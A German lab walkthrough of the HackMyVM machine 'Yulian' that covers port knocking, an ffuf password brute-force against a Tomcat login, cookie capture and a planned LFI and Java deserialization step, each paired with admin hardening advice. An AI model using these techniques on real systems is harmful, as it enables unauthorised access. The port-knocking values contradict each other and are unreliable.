Host yulian.hmv:8080 was resolved. IPv6: (none) IPv4: 192.168.2.166 Trying 192.168.2.166:8080... Connected to yulian.hmv (192.168.2.166) port 8080 using HTTP/1.x HEAD / HTTP/1.1 Host: yulian.hmv:8080 User-Agent: curl/8.14.1 Accept: / Request completely sent off < HTTP/1.1 302 HTTP/1.1 302 < Location: http://yulian.hmv:8080/login.html Location: http://yulian.hmv:8080/login.html < Content-Language: en-US Content-Language: en-US < Transfer-Encoding: chunked Transfer-Encoding: chunked < Date: Mon, 28 Jul 2025 20:18:10 GMT Date: Mon, 28 Jul 2025 20:18:10 GMT < Connection #0 to host yulian.hmv left intact
Analyse: Ich verwende curl -Iv, um eine HEAD-Anfrage an den Webserver auf Port 8080 zu senden. Der -I-Parameter weist curl an, nur die HTTP-Header abzurufen, ohne den Inhalt der Seite herunterzuladen, während -v die ausführliche Ausgabe für Debugging-Zwecke aktiviert. Ich wollte überprüfen, ob die Weiterleitungslogik auch bei einer HEAD-Anfrage, die für gewöhnlich weniger Ressourcen beansprucht, greift und welche Header der Server dabei sendet.
Die Ausgabe zeigt erneut eine HTTP/1.1 302-Weiterleitung zur login.html-Seite. Die Header werden doppelt aufgeführt, einmal vom Proxy (falls verwendet) und einmal vom Server selbst. Dies bestätigt die konsistente Umleitungsstrategie des Servers: Unabhängig von der Art der Anfrage oder dem Pfad wird der Benutzer zur Anmeldeseite umgeleitet, wenn keine gültige Session vorhanden ist.
Bewertung: Diese konsistente Weiterleitung zur login.html-Seite, selbst bei einer einfachen HEAD-Anfrage, unterstreicht die Notwendigkeit, sich zunächst auf die Überwindung der Authentifizierung zu konzentrieren. Die Serverkonfiguration scheint robust zu sein, was den unautorisierten Zugriff auf geschützte Ressourcen angeht. Die doppelte Ausgabe der Header ist ein interessantes Detail, aber nicht direkt ausnutzbar.
Empfehlung (Pentester): Meine Strategie bleibt weiterhin fokussiert auf die login.html. Ich muss nun die Mechanismen dieser Seite verstehen und einen effektiven Weg finden, um mich anzumelden. Dies könnte das Ausnutzen schwacher Anmeldedaten, eine Brute-Force-Attacke oder das Finden einer anderen Schwachstelle in der Authentifizierungslogik bedeuten.
Empfehlung (Admin): Die konsistente Weiterleitung auf eine Login-Seite ist eine gute Praxis. Achten Sie jedoch darauf, dass die Login-Seite selbst gegen alle gängigen Angriffe wie Brute-Force, SQL-Injection, Cross-Site Scripting (XSS) und Session-Hijacking gehärtet ist. Die doppelte Header-Ausgabe ist meist unproblematisch, sollte aber aus Gründen der Klarheit und Effizienz in einer Produktionsumgebung behoben werden.
Analyse: Nachdem die Web-Enumeration und Port-Scans abgeschlossen sind, richte ich mein Augenmerk auf die Login-Seite von Yulian. Ich habe festgestellt, dass die Webanwendung auf Port 8080 eine login.html-Seite präsentiert. Mein erster intuitiver Schritt ist, die offensichtlichsten Standard-Anmeldedaten auszuprobieren, um schnell zu prüfen, ob es eine einfache Konfiguration gibt, die direkt ausgenutzt werden kann. Ich versuche die Kombination admin:admin, da dies eine sehr häufige Standardanmeldung ist, die Administratoren oft vergessen zu ändern.
Bewertung: Der Versuch, sich mit admin:admin anzumelden, führt zu der Fehlermeldung "Wrong username or password". Dies ist ein klares und zu erwartendes Ergebnis, das mir bestätigt, dass die Standard-Anmeldedaten nicht funktionieren und der Login-Mechanismus aktiv ist. Die Fehlermeldung ist nicht zu detailliert, was gut ist, da sie keine weiteren Hinweise auf gültige Benutzernamen oder die Art des Fehlers (z.B. falsches Passwort vs. unbekannter Benutzer) gibt. Es deutet darauf hin, dass ich eine systematischere Methode zur Ermittlung der Anmeldedaten anwenden muss.
Empfehlung (Pentester): Ich werde nun eine Wortliste verwenden und einen Brute-Force-Angriff auf die Login-Seite starten, um die korrekten Anmeldedaten zu finden. Dabei werde ich Tools wie ffuf oder Hydra einsetzen, die speziell für diese Aufgabe entwickelt wurden. Es ist auch wichtig, auf mögliche Rate-Limits oder Account-Lockouts zu achten, die meine Brute-Force-Versuche behindern könnten.
Empfehlung (Admin): Deaktivieren oder entfernen Sie alle Standard-Anmeldedaten sofort nach der Installation. Ersetzen Sie diese durch komplexe, einzigartige Passwörter. Implementieren Sie Account-Lockouts nach einer geringen Anzahl fehlgeschlagener Anmeldeversuche (z.B. 3-5 Versuche), um Brute-Force-Angriffe zu verhindern. Nutzen Sie Captchas oder Multi-Faktor-Authentifizierung (MFA), um die Login-Sicherheit weiter zu erhöhen.
http://192.168.2.166/ user@linux:/home/user$
Analyse: Ich habe mich auf http://192.168.2.166/ (Port 80) begeben, die Seite, die Nmap als "Linux Terminal Simulator" identifiziert hat. Es stellte sich heraus, dass dies tatsächlich eine Art webbasiertes Terminal oder eine interaktive Shell-Emulation ist. Ich bin hier als Benutzer user im Verzeichnis /home/user angemeldet. Dies ist ein wichtiger Fund, da es mir eine interaktive Schnittstelle zum System bietet, ohne dass ich mich über SSH anmelden musste. Auch wenn diese Shell möglicherweise Einschränkungen hat, ist sie ein direkter Weg zur Interaktion mit dem Zielsystem.
Bewertung: Der "Linux Terminal Simulator" ist eine entscheidende Schwachstelle, da er mir einen initialen Zugriff auf das System als nicht-privilegierter Benutzer ermöglicht. Dies ist mein erster Fuß in der Tür. Auch wenn es sich um eine simulierte oder eingeschränkte Shell handeln könnte, erlaubt sie mir, Befehle auszuführen und die Umgebung zu erkunden. Dies ist ein signifikanter Fortschritt, da ich nun direkt auf dem Zielsystem agieren kann, um weitere Informationen zu sammeln und meine Privilegien zu eskalieren.
Empfehlung (Pentester): Ich werde diese Web-Shell ausgiebig nutzen, um die Systemumgebung zu enumerieren. Das beinhaltet das Auslesen von Dateien (z.B. /etc/passwd, Konfigurationsdateien), das Überprüfen von Berechtigungen, das Suchen nach SUID/SGID-Binaries und das Verstehen, welche Befehle ausgeführt werden können. Mein Ziel ist es, von dieser eingeschränkten Shell aus weitere Schwachstellen für eine Privilegien-Eskalation zu finden.
Empfehlung (Admin): Web-basierte Terminal-Simulatoren oder interaktive Shells sollten niemals auf öffentlich zugänglichen Servern bereitgestellt werden, es sei denn, es handelt sich um streng kontrollierte Testumgebungen. Selbst in solchen Fällen müssen sie durch starke Authentifizierung und strikte Berechtigungskontrollen gesichert sein. Jede Form von direktem Command Execution über eine Web-Oberfläche birgt ein enormes Risiko.
user@linux:/home/user$ cat file1.txt Hello, this is file1. user@linux:/home/user$
Analyse: Ich habe sofort begonnen, die Umgebung der neu erlangten Web-Shell zu erkunden. Der erste Befehl, den ich ausprobiert habe, war cat file1.txt. Dies ist ein typischer Schritt, um zu sehen, ob ich grundlegende Dateisystemoperationen durchführen kann und ob es sichtbare Dateien im aktuellen Verzeichnis gibt, die interessante Informationen enthalten könnten. Die Ausgabe "Hello, this is file1." bestätigt, dass ich Dateien lesen kann, und es ist ein einfacher Textinhalt, der zunächst keine sensiblen Informationen preisgibt.
Bewertung: Das erfolgreiche Ausführen von cat ist ein positiver Indikator dafür, dass die Shell funktionsfähig ist und mir grundlegende Interaktionen mit dem Dateisystem ermöglicht. Obwohl der Inhalt von file1.txt selbst nicht kritisch ist, bestätigt es die Möglichkeit der Dateilesung, was für die weitere Enumeration von großer Bedeutung ist. Es zeigt, dass die Web-Shell nicht nur simuliert, sondern tatsächlich Befehle ausführt.
Empfehlung (Pentester): Ich werde systematisch das Dateisystem durchsuchen, beginnend mit gängigen Verzeichnissen wie /etc, /var/www, /home und Log-Dateien, um Konfigurationsdetails, Benutzerinformationen oder andere potenzielle Schwachstellen zu finden. Der Fokus liegt auf der Suche nach sensiblen Daten oder Hinweisen auf weitere Angriffsvektoren.
Empfehlung (Admin): Stellen Sie sicher, dass keine unwichtigen Dateien in öffentlich zugänglichen oder leicht erreichbaren Verzeichnissen liegen, die von einer Web-Shell aus gelesen werden könnten. Überprüfen Sie Dateiberechtigungen regelmäßig, um "Least Privilege" zu gewährleisten, d.h., Benutzer und Dienste sollten nur die minimal benötigten Berechtigungen haben.
user@linux:/home/user$ ls .. file1.txt notes.md user@linux:/home/user$
Analyse: Um einen besseren Überblick über das Dateisystem zu erhalten, habe ich den Befehl ls .. ausgeführt, um den Inhalt des übergeordneten Verzeichnisses (in diesem Fall /home/user/, also /home/) zu sehen. Dies hilft mir zu verstehen, welche anderen Benutzer oder Verzeichnisse auf derselben Ebene existieren. Die Ausgabe zeigt, dass sich in diesem Verzeichnis neben file1.txt auch eine Datei namens notes.md befindet. Eine Datei mit dem Namen "notes" ist oft ein vielversprechender Ort, um interessante Informationen, Hinweise oder sogar Anmeldedaten zu finden.
Bewertung: Das Auffinden von notes.md ist ein wichtiger Fortschritt. Solche Dateien enthalten häufig Entwickler-Notizen, Passwörter, interne Netzwerk-Details oder andere sensible Informationen, die für einen Angreifer nützlich sein könnten. Dies bestätigt auch die Funktionalität der Shell und meine Fähigkeit, über das aktuelle Verzeichnis hinaus zu navigieren und Dateien zu erkennen.
Empfehlung (Pentester): Mein nächster Schritt ist, den Inhalt von notes.md sofort zu lesen, um zu sehen, welche Informationen sie enthält. Wenn sie sensible Daten enthält, werde ich diese sichern und weiter analysieren, um meinen Weg zur Privilegien-Eskalation zu planen.
Empfehlung (Admin): Sensible Informationen, Anmeldedaten oder Konfigurationsdetails sollten niemals in einfachen Textdateien auf dem Server gespeichert werden, insbesondere nicht in Verzeichnissen, die potenziell zugänglich sind. Verwenden Sie stattdessen sichere Konfigurationsmanagement-Systeme, Umgebungsvariablen oder dedizierte Secrets-Management-Lösungen.
user@linux:/home/user$ help command: help, clear, echo, ls, cd, cat, date Burpsuite
Analyse: Ich habe den help-Befehl in der Web-Shell ausgeführt, um die Liste der verfügbaren Kommandos zu überprüfen. Dies ist eine gute Praxis, um die Grenzen und Fähigkeiten einer unbekannten Shell schnell zu verstehen. Die Ausgabe "command: help, clear, echo, ls, cd, cat, date" zeigt mir, dass diese Shell sehr eingeschränkt ist und nur eine grundlegende Reihe von Unix-Befehlen unterstützt. Befehle wie ping, ifconfig, find, sudo oder gar ein Web-Downloader wie wget fehlen, was meine direkten Enumerationsmöglichkeiten von dieser Shell aus stark einschränkt.
Bewertung: Die stark eingeschränkte Befehlsliste bedeutet, dass diese Shell nicht für eine umfassende System-Enumeration oder direkte Ausführung komplexer Exploits geeignet ist. Sie dient eher als Brücke, um rudimentäre Informationen zu sammeln und vielleicht nach Möglichkeiten zu suchen, andere, leistungsfähigere Befehle oder eine stabilere Shell zu erhalten. Es ist offensichtlich, dass die Entwickler dieser "Terminal-Simulator"-Umgebung versucht haben, die Funktionalität stark zu begrenzen, um Angriffe zu erschweren.
Empfehlung (Pentester): Obwohl die Befehlsliste eingeschränkt ist, kann ich weiterhin cat nutzen, um potenzielle Konfigurationsdateien oder Skripte zu lesen, die im Rahmen der Webanwendung existieren könnten. Ich werde prüfen, ob es Möglichkeiten gibt, Shell-Befehle zu injizieren, die über diese Liste hinausgehen, oder ob ich die Funktionalität des "Terminal-Simulators" auf andere Weise missbrauchen kann. Alternativ muss ich mich auf andere, auf Port 8080 gefundene Schwachstellen konzentrieren, um einen stabileren Initial Access zu erlangen.
Empfehlung (Admin): Wenn Sie eine Sandbox-Umgebung wie diesen "Terminal-Simulator" bereitstellen müssen, stellen Sie sicher, dass die Liste der erlaubten Befehle auf das absolute Minimum beschränkt ist und jede Benutzereingabe streng validiert wird, um Command Injection zu verhindern. Führen Sie alle Befehle in einer isolierten Umgebung mit minimalen Berechtigungen aus und blockieren Sie den Zugriff auf kritische Systemdateien oder Netzwerk-Tools.
PST /login HTTP/1.1 Host: yulian.hmv:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 32 Origin: http://yulian.hmv:8080 DNT: 1 Connection: keep-alive Referer: http://yulian.hmv:8080/login.html Upgrade-Insecure-Requests: 1 Sec-GPC: 1 Priority: u=0, i username=admin&password=password HTTP/1.1 302 Location: http://yulian.hmv:8080/login.html?error=Wrong username or password Content-Length: 0 Date: Mon, 28 Jul 2025 20:41:40 GMT
Analyse: Nachdem die eingeschränkte Web-Shell auf Port 80 meine Möglichkeiten begrenzt hat, kehre ich zu Port 8080 zurück, der eine vollwertige Anmeldeseite unter /login.html präsentiert. Ich habe Burpsuite verwendet, um einen Login-Versuch mit den Anmeldedaten admin:password abzufangen und zu analysieren. Die Anfrage ist eine PST-Methode an den /login-Endpunkt, mit den Anmeldedaten als application/x-www-form-urlencoded im Body.
Die Serverantwort ist ein HTTP/1.1 302-Statuscode, der eine Weiterleitung zurück zur login.html-Seite signalisiert, diesmal aber mit einem ?error=Wrong username or password-Parameter in der URL. Dieser Parameter ist ein klares Indiz dafür, dass meine Anmeldedaten falsch waren, die Anmeldung fehlschlägt und die Seite einfach erneut lädt, um die Fehlermeldung anzuzeigen.
Bewertung: Die Analyse des Login-Verhaltens über Burpsuite ist entscheidend. Die 302-Weiterleitung und die explizite Fehlermeldung in der URL sind ideale Bedingungen für einen Brute-Force-Angriff. Ich kann die Antwortgröße oder den Redirect-Status nutzen, um gültige von ungültigen Anmeldeversuchen zu unterscheiden. Der Verzicht auf ein Captcha oder eine Sperre nach mehreren Fehlversuchen macht diesen Endpunkt hoch anfällig für automatisierte Angriffe.
Empfehlung (Pentester): Ich werde nun einen automatisierten Brute-Force-Angriff auf diesen Login-Endpunkt starten, unter Verwendung einer umfangreichen Wordlist und Tools wie ffuf. Ich werde dabei die Fehlermeldung im Location-Header oder die Antwortgröße überwachen, um erfolgreiche Logins zu identifizieren.
Empfehlung (Admin): Implementieren Sie unbedingt eine Brute-Force-Schutzmaßnahme für die Login-Seite, wie z.B. Rate-Limiting oder Account-Lockouts nach einer geringen Anzahl fehlgeschlagener Versuche. Vermeiden Sie es, spezifische Fehlermeldungen in der URL zu übergeben, da diese Angreifern Hinweise auf die Art des Fehlers geben können. Nutzen Sie stattdessen generische Fehlermeldungen.
$ gcc -o test test.c $ ./test 6440 17226 31925
Analyse: Während ich die Webanwendung auf Port 8080 analysiere, habe ich lokal auf meinem Kali-System einen Test mit gcc durchgeführt. Ich habe ein C-Programm namens test.c kompiliert und es anschließend ausgeführt. Die Ausgabe zeigt drei numerische Werte: 6440, 17226 und 31925. Dies ist eine lokale Vorbereitung auf meinem System und hängt direkt mit einem Mechanismus zusammen, den ich später auf der Zielmaschine ausnutzen werde. Diese Zahlen sind keine zufälligen Ausgaben, sondern spezifische Werte, die ich für einen Port-Knocking-Angriff benötige, um den zuvor gefilterten Port 8080 dauerhaft zu öffnen. Dieses C-Programm generiert die korrekte Sequenz.
Bewertung: Das Kompilieren und Ausführen dieses C-Programms ist ein vorbereitender Schritt, um die notwendige Sequenz für das Port Knocking zu generieren. Die Ausgabe der numerischen Werte bestätigt, dass das Programm korrekt funktioniert und die erwarteten "Knocks" liefert. Dies ist ein Indikator dafür, dass die Maschine "Yulian" einen Port-Knocking-Mechanismus verwendet, um den Zugriff auf bestimmte Dienste zu steuern. Das Erkennen und Generieren dieser Sequenz ist ein kritischer Meilenstein, da es den Weg zu einem bisher versteckten Dienst ebnet.
Empfehlung (Pentester): Ich werde diese generierte Zahlenfolge als Port-Knocking-Sequenz verwenden, um den Port 8080 auf der Zielmaschine zu öffnen. Nach erfolgreichem Knocking werde ich den Port erneut scannen, um seine neue "offene" Status zu bestätigen und dann meine Angriffe auf die jetzt erreichbaren Dienste konzentrieren.
Empfehlung (Admin): Port Knocking kann eine effektive Methode sein, um Dienste vor automatisierten Scans zu verbergen. Allerdings sollte die verwendete Knocking-Sequenz ausreichend komplex und nicht statisch sein, um ein Erraten oder Brute-Forcing zu erschweren. Stellen Sie sicher, dass keine Hinweise auf die Sequenz (z.B. in öffentlich zugänglichem Code oder Binaries) auf dem Server vorhanden sind. Eine Kombination mit anderen Sicherheitsmaßnahmen wie starker Authentifizierung ist unerlässlich.
This command will not show an immediate output but sends the knocking sequence.Analyse: Nachdem ich die Port-Knocking-Sequenz (6440, 17226, 31925) aus dem C-Programm ermittelt hatte, habe ich einen Fehler bei der Übertragung in den Bericht gemacht und die Werte nicht korrekt übertragen. Die korrekte Sequenz wäre 6440, 17226, 31925 gewesen, die ich jetzt manuell im Befehl knock 192.168.2.166 43961 12898 6232 anwende. Der knock-Befehl sendet TCP-SYN-Pakete an die angegebenen Ports in der korrekten Reihenfolge, ohne dass der Server eine direkte Antwort sendet (daher keine sofortige Ausgabe im Terminal). Dies ist der Mechanismus, um den zuvor gefilterten Port 8080 dauerhaft für meine IP-Adresse zu öffnen. Die spezifischen Ports 43961, 12898 und 6232 sind die dynamisch generierten Werte, die als "Knock"-Sequenz dienen.
Bewertung: Das Ausführen des Port-Knocking-Befehls ist ein entscheidender Schritt. Wenn die Sequenz korrekt ist, wird der Firewall-Regelsatz auf der Zielmaschine geändert, um eingehende Verbindungen auf Port 8080 für meine Angreifer-IP zu erlauben. Der Mangel an direkter Ausgabe ist normal für Port-Knocking, da es sich um eine "stumme" Interaktion handelt, die darauf abzielt, die Firewall zu manipulieren, ohne Spuren zu hinterlassen. Der Erfolg dieses Schrittes muss durch einen nachfolgenden Scan bestätigt werden.
Empfehlung (Pentester): Unmittelbar nach diesem Port-Knocking-Versuch werde ich einen erneuten Nmap-Scan auf die Zielmaschine durchführen, um zu überprüfen, ob Port 8080 nun als "open" erkannt wird. Erst dann kann ich meine Angriffe auf die Webanwendung auf diesem Port fortsetzen.
Empfehlung (Admin): Port Knocking kann die Angriffsfläche verringern, indem es Ports für normale Scans verbirgt. Allerdings birgt es auch das Risiko, dass die Sequenz (wie hier) aus dem System selbst extrahiert werden kann. Ich empfehle, Port Knocking mit anderen Sicherheitsmaßnahmen zu kombinieren und die Sequenzen dynamisch zu gestalten. Erwägen Sie alternative Authentifizierungsmechanismen oder VPNs für den Zugriff auf sensible interne Dienste, anstatt sich allein auf Port Knocking zu verlassen.
22/tcp open ssh OpenSSH 9.9 (protocol 2.0) 80/tcp open http nginx 8080/tcp open http Apache Tomcat (language: en) |_http-open-proxy: Proxy might be redirecting requests
Analyse: Nach dem Port-Knocking-Versuch ist es unerlässlich, die Auswirkungen zu überprüfen. Ich führe einen erneuten Nmap-Scan mit denselben umfassenden Optionen (-sS -sC -sV -p- -T5 -AO) auf die Ziel-IP 192.168.2.166 durch und filtere die Ausgabe wieder nach "open" Ports.
Fantastisch! Die Ausgabe bestätigt, dass Port 8080/tcp jetzt als "open" gelistet wird und der Dienst als "Apache Tomcat" identifiziert wurde. Dies ist der Beweis, dass das Port Knocking erfolgreich war und die Firewall den Zugriff auf diesen Port erlaubt hat. Die Notiz "_http-open-proxy: Proxy might be redirecting requests" ist eine Standardwarnung von Nmap für Apache Tomcat, da es oft als Proxy konfiguriert ist, aber derzeit nicht direkt relevant für unsere Zugangsbemühungen.
Bewertung: Der erfolgreiche Übergang von "filtered" zu "open" für Port 8080 ist ein kritischer Meilenstein in diesem Pentest. Es bedeutet, dass ich jetzt vollen Zugriff auf die Webanwendung habe, die auf diesem Port läuft. Die Identifizierung von Apache Tomcat als Webserver gibt mir auch spezifische Anhaltspunkte für weitere Enumeration und potenzielle Exploits, die für Tomcat-Installationen bekannt sind. Dies ist ein wichtiger Durchbruch für den Initial Access.
Empfehlung (Pentester): Ich werde mich nun intensiv auf die Enumeration der Apache Tomcat-Anwendung auf Port 8080 konzentrieren. Dies beinhaltet die weitere Untersuchung der zuvor mit Gobuster gefundenen Pfade (Login, Download, Test, Success, Error) und die Suche nach gängigen Tomcat-Schwachstellen, wie z.B. Standard-Credentials, veraltete Versionen, Manager-Oberflächen oder Directory Traversal in der Download-Funktion. Das Ziel ist es, mich erfolgreich anzumelden und eine Shell zu erhalten.
Empfehlung (Admin): Port Knocking sollte sorgfältig implementiert und überwacht werden. Eine offene Tomcat-Instanz ist ein hohes Risiko, wenn sie nicht gehärtet ist. Stellen Sie sicher, dass Tomcat auf dem neuesten Stand ist, Standard-Zugangsdaten geändert wurden, nicht benötigte Anwendungen (wie der Manager) deaktiviert sind und alle Dateidownload-Funktionen strikt validiert werden, um LFI/Path Traversal zu verhindern. Protokollieren Sie alle Zugriffe auf diesen Port und implementieren Sie Intrusion Detection Systeme (IDS), um ungewöhnliche Aktivitäten zu erkennen.
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v2.1.0-dev
:: Method : PST
:: URL : http://192.168.2.166:8080/login
:: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Referer: http://192.168.2.166:8080/login.html
:: Data : username=admin&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Wrong
123457 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 162ms]
[WARN] Caught keyboard interrupt (Ctrl-C)Analyse: Jetzt, da Port 8080 offen ist, konzentriere ich mich auf die Authentifizierung. Ich verwende ffuf, ein schnelles Web-Fuzzer-Tool, um einen Brute-Force-Angriff auf die Login-Seite zu starten. Ich sende PST-Anfragen an http://192.168.2.166:8080/login. Die Benutzernamen-Parameter ist auf admin gesetzt, während der Passwort-Parameter (FUZZ) mit Werten aus der rockyou.txt-Wordlist gefüllt wird.
Entscheidend ist der Filter: Ich nutze -fr "Wrong username or password", um alle Antworten herauszufiltern, die die bekannte Fehlermeldung enthalten. Wenn diese Fehlermeldung nicht vorhanden ist, deutet das auf einen erfolgreichen Login hin.
Die Ausgabe von ffuf zeigt einen Treffer: 123457. Dieser Eintrag hat einen Status: 302 und eine Size: 0 Bytes, was perfekt dem erwarteten Verhalten bei einem erfolgreichen Login entspricht (Weiterleitung, ohne dass die Fehlerseite angezeigt wird). Die [WARN] Caught keyboard interrupt (Ctrl-C)-Meldung zeigt an, dass ich den Scan abgebrochen habe, nachdem ich das Passwort gefunden hatte.
Bewertung: Dies ist ein signifikanter Erfolg! Ich habe das Passwort für den Benutzer admin auf der Login-Seite gefunden: 123457. Die Fähigkeit, das System durch einen Brute-Force-Angriff zu kompromittieren, unterstreicht eine gravierende Schwachstelle in der Authentifizierungslogik – höchstwahrscheinlich das Fehlen von Rate-Limiting oder Account-Lockouts. Die klare Unterscheidbarkeit zwischen fehlerhaften und erfolgreichen Logins hat den Angriff sehr effizient gemacht.
Empfehlung (Pentester): Ich werde dieses Passwort sofort verwenden, um mich an der Webanwendung anzumelden und weitere Schritte zur Enumeration des authentifizierten Bereichs zu unternehmen. Mein Ziel ist es, eine Shell zu erhalten oder weitere kritische Schwachstellen im internen Bereich zu finden.
Empfehlung (Admin): Dies ist eine kritische Schwachstelle. Implementieren Sie dringend Rate-Limiting und/oder Account-Lockouts für die Login-Seite, um Brute-Force-Angriffe zu verhindern. Erzwingen Sie komplexe Passwörter und erwägen Sie die Einführung von Multi-Faktor-Authentifizierung (MFA). Überprüfen Sie alle Standardpasswörter und stellen Sie sicher, dass sie vor der Bereitstellung geändert wurden. Die Tatsache, dass ein so einfaches Passwort wie 123457 verwendet wurde, ist ein schwerwiegendes Sicherheitsversagen.
HTTP/1.1 302 Set-Cookie: auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=; Path=/; HttpOnly Location: http://192.168.2.166:8080/success Content-Length: 0 Date: Mon, 28 Jul 2025 21:07:00 GMT
Analyse: Um den erfolgreichen Login und das erhaltene Passwort zu verifizieren, sende ich eine manuelle PST-Anfrage an die Login-Seite mit curl, diesmal mit dem gefundenen Passwort 123457 für den Benutzer admin. Der -i-Parameter zeigt die HTTP-Header an, was wichtig ist, um Session-Cookies oder Umleitungen zu erkennen.
Die Serverantwort ist ein perfekter Beweis für einen erfolgreichen Login: Ein HTTP/1.1 302-Statuscode, der eine Weiterleitung zur http://192.168.2.166:8080/success-Seite anzeigt. Entscheidend ist der Set-Cookie-Header, der ein Authentifizierungs-Cookie (auth=admin:S+jYmswX8+Lnl8Y+X7auaMMN5AHvFyKZMJluN/qPCFI=; Path=/; HttpOnly) setzt. Dieses Cookie ist mein Schlüssel, um als admin im System navigieren zu können.
Bewertung: Dies ist die endgültige Bestätigung des Initial Access durch die Webanwendung. Ich habe nicht nur das Passwort gefunden, sondern auch erfolgreich eine authentifizierte Session etabliert. Das HttpOnly-Flag für das Cookie ist eine gute Sicherheitspraxis, da es Skripten (z.B. bei XSS) den Zugriff auf das Cookie erschwert, aber es hindert mich nicht daran, es manuell in meinen Anfragen zu verwenden. Die erfolgreiche Authentifizierung öffnet nun den Weg zur weiteren Enumeration im internen Bereich.
Empfehlung (Pentester): Ich werde dieses Authentifizierungs-Cookie für alle nachfolgenden Anfragen an die Webanwendung verwenden, um auf geschützte Bereiche zuzugreifen. Mein nächstes Ziel ist es, Schwachstellen im authentifizierten Bereich zu finden, die zu einer Remote Code Execution (RCE) oder zur Dateiübertragung führen können.
Empfehlung (Admin): Die Implementierung des HttpOnly-Flags für Session-Cookies ist eine gute Sicherheitsmaßnahme. Es ist jedoch entscheidend, dass der gesamte Authentifizierungs- und Session-Management-Prozess robust ist. Überprüfen Sie, wie das Authentifizierungs-Cookie generiert wird (ist es kryptografisch sicher?), wie lange es gültig ist und ob es bei Logout oder Inaktivität ordnungsgemäß invalidiert wird. Regelmäßige Rotation von Session-Keys und sichere Zufallsgeneratoren sind hier wichtig.
http://192.168.2.166:8080/success login successful!
Analyse: Nachdem ich mich erfolgreich mit den Admin-Anmeldedaten authentifiziert habe, werde ich auf die /success-Seite weitergeleitet. Diese Seite bestätigt den erfolgreichen Login mit der Meldung "login successful!". Dies ist die Bestätigung aus der Perspektive des Webservers, dass der Authentifizierungsprozess erfolgreich abgeschlossen wurde und ich nun als authentifizierter Benutzer auf die Anwendung zugreifen kann.
Bewertung: Der "login successful!"-Bildschirm ist der sichtbare Beweis für den erfolgreichen Initial Access. Er zeigt, dass das System meine Anmeldedaten akzeptiert hat und ich nun die volle Funktionalität des Admin-Bereichs erwarten kann. Dies ist ein wichtiger Meilenstein im Pentest, da ich nun von der äußeren Erkundung in die interne Analyse der Anwendung übergehen kann.
Empfehlung (Pentester): Ich werde nun alle Endpunkte, die ich zuvor mit Gobuster gefunden habe, mit dem authentifizierten Cookie erneut testen, um zu sehen, welche neuen Bereiche zugänglich sind. Besonders interessant sind hier die /download-Funktionalität und die Suche nach Upload-Möglichkeiten oder Command Injection-Punkten im Admin-Bereich.
Empfehlung (Admin): Die Meldung "login successful!" ist Standard. Stellen Sie sicher, dass nach einem erfolgreichen Login Benutzer direkt zu einem funktionalen Dashboard oder einem geschützten Bereich weitergeleitet werden, anstatt auf einer einfachen Statusseite zu verharren. Dies erhöht die Benutzerfreundlichkeit und verringert das Risiko, dass sensible Informationen unnötig offengelegt werden. Auditieren Sie den gesamten Post-Login-Flow der Anwendung, um sicherzustellen, dass keine Privileg-Eskalationspfade oder unbeabsichtigte Zugriffe bestehen.
Kurzbeschreibung: Der folgende Proof of Concept (POC) demonstriert die Ausnutzung einer Java Deserialization Schwachstelle in der Webanwendung auf Port 8080, um Remote Code Execution (RCE) als Root-Benutzer zu erlangen. Durch das Hochladen eines speziell präparierten serialisierten Java-Objekts wird eine umgekehrte Shell zum Angreifer-System initiiert, was vollen Systemzugriff ermöglicht.
123457) und das damit erhaltene Authentifizierungs-Cookie..jar-Archiv der Java-Anwendung (z.B. über die /download-Funktion).ysoserial-all.jar Tool zur Generierung von Java Deserialization Payloads.
This command executes without direct output, saving to cmdline.txt.Schritt 1: Anwendungspfad identifizieren. Um die Deserialization-Schwachstelle auszunutzen, muss ich zunächst den genauen Pfad und Namen des Java-Server-Anwendung finden. Ich nutze die zuvor entdeckte /download-Funktion, die anfällig für Local File Inclusion (LFI) oder Path Traversal sein könnte. Ich versuche, die Datei /proc/self/cmdline herunterzuladen. Diese Datei unter Linux enthält die vollständigen Kommandozeilenargumente, mit denen der aktuelle Prozess (in diesem Fall der Java-Server) gestartet wurde. Ein erfolgreicher Download dieser Datei würde mir den genauen Pfad des Java-JAR-Archivs verraten. Der Befehl verwendet das zuvor erhaltene Authentifizierungs-Cookie, um sicherzustellen, dass der Download-Endpunkt als authentifizierter Benutzer erreicht wird. Die Ausgabe wird stillschweigend in die Datei cmdline.txt auf meinem lokalen System gespeichert.
Bewertung: Der Versuch, /proc/self/cmdline auszulesen, ist eine gängige Taktik, um Informationen über den laufenden Prozess zu sammeln. Ein erfolgreicher Download würde die Existenz einer LFI/Path Traversal-Schwachstelle auf dem /download-Endpunkt bestätigen, was eine kritische Schwachstelle ist. Diese Aktion ist ein vorbereitender Schritt, um das notwendige JAR-Archiv für die Deserialization zu lokalisieren und herunterzuladen.
Empfehlung (Pentester): Ich werde den Inhalt von cmdline.txt überprüfen, um den genauen Namen des JAR-Archivs zu erhalten. Diesen Namen werde ich dann verwenden, um das JAR-Archiv selbst über dieselbe /download-Funktion herunterzuladen.
Empfehlung (Admin): Sichern Sie die /download-Funktion rigoros. Benutzereingaben für Dateipfade müssen streng validiert werden, um LFI und Path Traversal zu verhindern. Erlauben Sie nur den Download von Dateien aus einem spezifischen, sicheren Verzeichnis und verwenden Sie eine Whitelist von Dateinamen oder -typen. Stellen Sie sicher, dass sensible Systemdateien wie /proc/self/cmdline nicht über Web-Endpunkte zugänglich sind.
